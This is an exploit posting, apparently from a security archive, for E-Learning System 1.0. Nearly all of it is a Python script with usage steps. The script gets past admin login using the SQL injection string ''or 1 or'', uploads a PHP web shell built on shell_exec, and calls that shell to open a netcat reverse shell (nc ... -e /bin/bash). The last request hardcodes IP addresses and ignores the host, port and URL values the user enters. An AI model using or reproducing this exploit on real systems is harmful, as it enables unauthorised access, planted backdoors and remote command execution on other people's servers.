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E-Learning System 1.0 SQL Injection / Shell Upload

E-Learning System 1.0 SQL Injection / Shell Upload
Posted Jan 15, 2021
Authored by Saurav Shukla, Himanshu Shukla

E-Learning System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass and also suffers from remote code execution via file upload functionality.

tags | exploit, remote, code execution, sql injection, file upload
MD5 | bd3d65870be0207ac9da305059435137

E-Learning System 1.0 SQL Injection / Shell Upload

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# Exploit Title: E-Learning System 1.0 - Authentication Bypass & RCE
# Exploit Author: Himanshu Shukla & Saurav Shukla
# Date: 2021-01-15
# Vendor Homepage: https://www.sourcecodester.com/php/12808/e-learning-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/caiwl.zip
# Version: 1.0
# Tested On: Kali Linux + XAMPP 7.4.4
# Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution

#Step 1: run the exploit in python with this command: python3 exploit.py
#Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/
#Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23
#Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444
#Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444
#Step 6: Hit enter on the if your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.

import requests

print('########################################################')
print('## E-LEARNING SYSTEM 1.0 ##')
print('## AUTHENTICATION BYPASS & REMOTE CODE EXECUTION ##')
print('########################################################')

print('Author - Himanshu Shukla & Saurav Shukla')

GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
s = requests.Session()

#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass
print("[*]Attempting Authentication Bypass...")
values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}
r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)

r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if("You login as Administrator." in r.text) else False
l=logged_in
if l:
print(GREEN+"[+]Authentication Bypass Successful!", RESET)
else:
print(RED+"[-]Failed To Authenticate!", RESET)


#Creating a PHP Web Shell

phpshell = {
'file':
(
'shell.php',
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',
'application/x-php',
{'Content-Disposition': 'form-data'}
)
}

# Defining value for form data
data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}



#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)

shell_upload = True if("window.location='index.php'" in upload.text) else False
u=shell_upload
if u:
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)

print("[*]Please Input Reverse Shell Details")
LHOST=input("[*]LHOST : ")
LPORT=input("[*]LPORT : ")

print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)
input('[*]Hit Enter if your netcat shell is ready. ')
print('[+]Deploying The Web Shell...')


#Executing The Webshell
e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)

exit()

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